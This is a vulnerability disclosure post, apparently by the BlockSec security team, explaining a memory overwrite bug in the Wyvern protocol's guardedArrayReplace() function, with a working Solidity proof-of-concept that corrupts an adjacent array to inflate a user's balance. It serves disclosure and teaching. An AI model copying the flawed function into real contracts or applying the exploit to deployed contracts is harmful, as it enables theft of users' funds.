A new memory overwrite vulnerability discovered in Wyvern Protocol

By BlockSec

Introduction

Our vulnerability detection system found a memory overwrite vulnerability in the latest implementation of the Wyvern library, which belongs to the Wyvern decentralized exchange protocol that was previously used by OpenSea. This bug may lead to arbitrary storage write.

We have tried to contact the project (e.g., through Email and Social media), but got no response yet. As OpenSea has migrated to Seaport protocol, we believe it is safe to disclose the detailed information to the public. Besides, we’d like to share these findings to engage the community, as the bug itself is a little bit tricky, while the exploitation is quite interesting.

Description

The vulnerable code can be found in the official code repo (https://github.com/wyvernprotocol/wyvern-v3/blob/master/contracts/lib/ArrayUtils.sol) with the commit hash 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9.

Specifically, this bug lies in the guardedArrayReplace() function of ArrayUtils.sol. As the name suggests, this function is used to selectively copy one dynamically-size byte array (i.e., the second parameter named desired) to another one (i.e., the first parameter named array). Note that this function is implemented to perform a word-level (i.e. 0x20 bytes) operation, hence the code logic can be divided into two steps based on the calculation result of the division.

For the quotient part (i.e., words = array.length / 0x20), the code logic from line 42 to line 49 will copy the desired array to the target array words by words. This step works as expected, though the assert statement in line 39 is useless due to the integer arithmetic.

After the previous step, if the division produces a remainder, it means there still exist some bytes left without being correctly copied. The code logic from line 52 to line 66 is designed to handle those bytes. Unfortunately, the if statement in line 52 mistakenly uses the quotient (words, i.e., array.length / 0x20) rather than the remainder (array.length % 0x20) to perform the check.

The severity

This bug may lead to arbitrary storage write. Suppose array.length is exactly divisible by 0x20, the copying operation is actually done in the loop logic. However, in most cases, the function will enter the vulnerable logic and try to copy a word behind the desired array to the target array, which inevitably causes an out-of-bounds access. Even worse, the incorrect logic could be exploited to overwrite a word to the end of the target array, which is an unknown memory area that can be of any use.

How to exploit this bug?

We have developed a PoC contract to illustrate the potential attack vector. The PoC contract has two functions, the first one named test() is used to perform the attack, while the second one is just the vulnerable guardedArrayReplace() function.

Specifically, in the test() function, we first define some in-memory bytes (a, b, and mask) and an array (i.e., _rewards). The _rewards defined here will be used to calculate the user’s rewards. After invoking the guardedArrayReplace() function to copy a to b with mask, _rewards will be added to the user’s balance (i.e., balances[msg.sender]).

contract PoC {    mapping(address=>uint) public balances;
event T(uint256,uint256,uint256); function test() external {
bytes memory a = abi.encode(keccak256("123"));
bytes memory b = abi.encode(keccak256("456"));
uint[] memory _rewards = new uint[](1);
bytes memory mask = abi.encode(keccak256("123"));
bytes memory d = abi.encode(keccak256("eee"));
bytes memory d1 = abi.encode(keccak256("eee"));
bytes memory d3 = abi.encode(keccak256("eee"));
bytes memory d4 = abi.encode(keccak256("eee"));
bytes memory d5 = abi.encode(keccak256("eee"));
guardedArrayReplace(b, a, mask);
for(uint i = 0; i < _rewards.length; i++){
uint256 amt = _rewards[i];
balances[msg.sender] += amt;
}
}
function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)
internal
pure
{
require(array.length == desired.length, "Arrays have different lengths");
require(array.length == mask.length, "Array and mask have different lengths");
uint words = array.length / 0x20;
uint index = words * 0x20;
assert(index / 0x20 == words);
uint i;
for (i = 0; i < words; i++) {
/* Conceptually: array[i] = (!mask[i] && array[i]) || (mask[i] && desired[i]), bitwise in word chunks. */
assembly {
let commonIndex := mul(0x20, add(1, i))
let maskValue := mload(add(mask, commonIndex))
mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))
}
}
/* Deal with the last section of the byte array. */
if (words > 0) {
/* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */
i = words;
assembly {
let commonIndex := mul(0x20, add(1, i))
let maskValue := mload(add(mask, commonIndex))
mstore(add(array, commonIndex), or(
and(not(maskValue),
mload(
add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))
)
}
} else {
/* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.
(bounds checks could still probably be optimized away in assembly, but this is a rare case) */
for (i = index; i < array.length; i++) {
array[i] = ((mask[i] ^ 0xff) & array[i]) | (mask[i] & desired[i]);
}
}
}
}

Here we use Remix to demonstrate the result. It is worth noting that, initially we don’t assign any value to _rewards and balances. After the exploitation, the user balance is set to an extremely large value (as shown in the red rectangle).

Conclusion

Although rare, such a memory overwrite vulnerabilities may still exist in the smart contracts. Developers need to pay attention to the code logic that manipulates the memory.

About BlockSec

The BlockSec is dedicated to building blockchain security infrastructure. The team is founded by top-notch security researchers and experienced experts from both academia and industry. We have published multiple blockchain security papers in prestigious conferences, reported several zero-day attacks of DeFi applications, and successfully protected digital assets that are worth more than 5 million dollars by blocking multiple attacks.

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
BlockSec

BlockSec

1K Followers

The BlockSec Team focuses on the security of the blockchain ecosystem and the research of crypto hack monitoring and blocking, smart contract auditing.